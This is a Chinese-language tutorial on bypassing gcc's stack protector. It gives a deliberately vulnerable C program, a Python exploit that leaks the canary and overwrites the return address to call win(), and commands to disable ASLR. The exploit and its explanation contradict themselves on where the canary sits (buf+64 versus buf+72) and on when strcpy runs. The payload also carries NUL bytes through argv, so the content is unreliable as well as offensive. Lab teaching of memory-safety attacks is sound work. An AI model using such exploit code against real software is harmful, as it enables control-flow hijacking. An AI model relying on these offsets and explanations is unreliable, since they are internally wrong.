3. 栈保护机制
任务目标
本案例完成两项任务:第一,编译启用栈保护(-fstack-protector)的程序,演示缓冲区溢出触发__stack_chk_fail导致进程终止;第二,通过内存泄露读取canary值,构造包含正确canary的payload,绕过栈保护实现控制流劫持。全程在64位Linux环境(Ubuntu 22.04+)下完成。
环境与依赖
- 操作系统:Ubuntu 22.04 x86_64(或其他现代Linux发行版)
- 编译器:gcc(版本9+,支持
-fstack-protector) - 关闭ASLR(仅用于演示绕过):
sudo sysctl -w kernel.randomize_va_space=0 - 关闭PIE(简化地址计算):编译时加
-no-pie
关键完整代码
以下代码包含两个程序:victim.c为存在溢出漏洞的目标程序,exploit.py为绕过栈保护的攻击脚本。
// victim.c —— 存在栈溢出漏洞的目标程序
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void win() {
printf("Pwned! You have bypassed the stack protector.\n");
}
void vulnerable(char *input) {
char buf[64];
// 模拟canary泄露:正常程序不会这样写,此处仅用于教学演示
printf("Leak: %p\n", *(unsigned long *)(buf + 72)); // 泄露canary值
strcpy(buf, input); // 栈溢出点
}
int main(int argc, char **argv) {
if (argc < 2) {
fprintf(stderr, "Usage: %s <input>\n", argv[0]);
return 1;
}
vulnerable(argv[1]);
printf("Returned safely.\n");
return 0;
}
# exploit.py —— 泄露canary并构造payload绕过栈保护
import subprocess
import struct
import sys
def get_canary(leak_line):
# 从输出中解析canary值(小端序)
addr_str = leak_line.split(': ')[1].strip()
addr = int(addr_str, 16)
# canary最低字节为0x00(x86_64)
canary = addr & 0xFFFFFFFFFFFFFF00
return canary
def build_payload(canary):
buf_size = 64
# 栈布局: buf[64] + canary(8) + saved_rbp(8) + return_addr(8)
offset_to_canary = 64
offset_to_ret = 72 + 8 # canary之后跳过saved_rbp
payload = b'A' * offset_to_canary
payload += struct.pack('<Q', canary) # 正确的canary
payload += b'B' * 8 # 覆盖saved_rbp(值无关紧要)
payload += struct.pack('<Q', 0x4011d6) # win()函数地址(需根据实际编译调整)
return payload
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <victim_path>")
sys.exit(1)
victim = sys.argv[1]
# 第一步:触发泄露,获取canary
# 输入64字节填充,使strcpy在buf+72处写入0字节前的内容
# 由于strcpy会追加'\0',泄露的是canary的低7字节(高字节为0)
leak_input = b'A' * 64
proc = subprocess.run([victim, leak_input.decode()],
capture_output=True, text=True)
leak_line = proc.stdout.strip().split('\n')[0]
print(f"[*] Leak line: {leak_line}")
canary = get_canary(leak_line)
print(f"[*] Canary: 0x{canary:016x}")
# 第二步:构造payload并发送
payload = build_payload(canary)
proc2 = subprocess.run([victim, payload.decode('latin-1')],
capture_output=True, text=True)
print(f"[*] Output: {proc2.stdout}")
print(f"[*] Return code: {proc2.returncode}")
if __name__ == '__main__':
main()
编译与运行
# 编译目标程序(启用栈保护,关闭PIE便于地址固定)
gcc -fstack-protector -no-pie -o victim victim.c
# 查看win()函数地址(用于exploit.py中硬编码地址)
objdump -d victim | grep '<win>'
将objdump输出的win函数起始地址(如00000000004011d6)替换到exploit.py第22行的0x4011d6处。
# 运行攻击脚本
python3 exploit.py ./victim
验证方法与判定标准
验证栈保护生效:
# 输入超长字符串,不经过泄露步骤,直接触发保护
./victim $(python3 -c "print('A'*100)")
# 预期输出:检测到栈溢出,程序终止,输出类似:
# *** stack smashing detected ***: <unknown> terminated
# Aborted (core dumped)
验证绕过成功:运行exploit.py后,观察输出包含Pwned! You have bypassed the stack protector.,且进程返回码为0(正常退出),即判定绕过成功。
关键说明
- canary值在每次进程启动时随机生成,因此必须先运行一次泄露步骤获取当前进程的canary,再在第二次运行时使用——本案例通过两次独立进程调用实现(第一次泄露,第二次利用),实际攻击中通常通过服务端连续交互完成。
- canary最低字节恒为
0x00(x86_64架构),泄露输出中该字节被strcpy追加的'\0'覆盖,因此需要将泄露值低8位清零恢复完整canary。 - 关闭ASLR是必要的简化条件:若ASLR开启,win函数地址每次运行会变化,需要额外泄露代码地址。本案例聚焦canary绕过,故关闭ASLR以隔离变量。
- 编译时
-fstack-protector仅对包含char数组的函数插入canary检查,本案例中vulnerable函数满足条件。
常见问题
- canary泄露偏移不对:检查
buf大小与编译器栈布局。64位系统下,char buf[64]后紧跟8字节canary,再是8字节saved rbp,因此canary位于buf+64处。但printf泄露的是buf+72,这是因为strcpy在写入64字节后追加'\0',恰好覆盖canary最低字节,而printf读取buf+72(即canary起始位置)时,由于canary低字节为0,实际打印的是从buf+72开始的8字节中去除低字节的7字节有效值。若偏移不符,可用gdb调试确认实际栈布局。 - win函数地址错误:每次编译地址可能变化,务必用
objdump重新获取。 - payload编码问题:payload包含不可打印字符,使用
latin-1编码传递,避免UTF-8解码错误。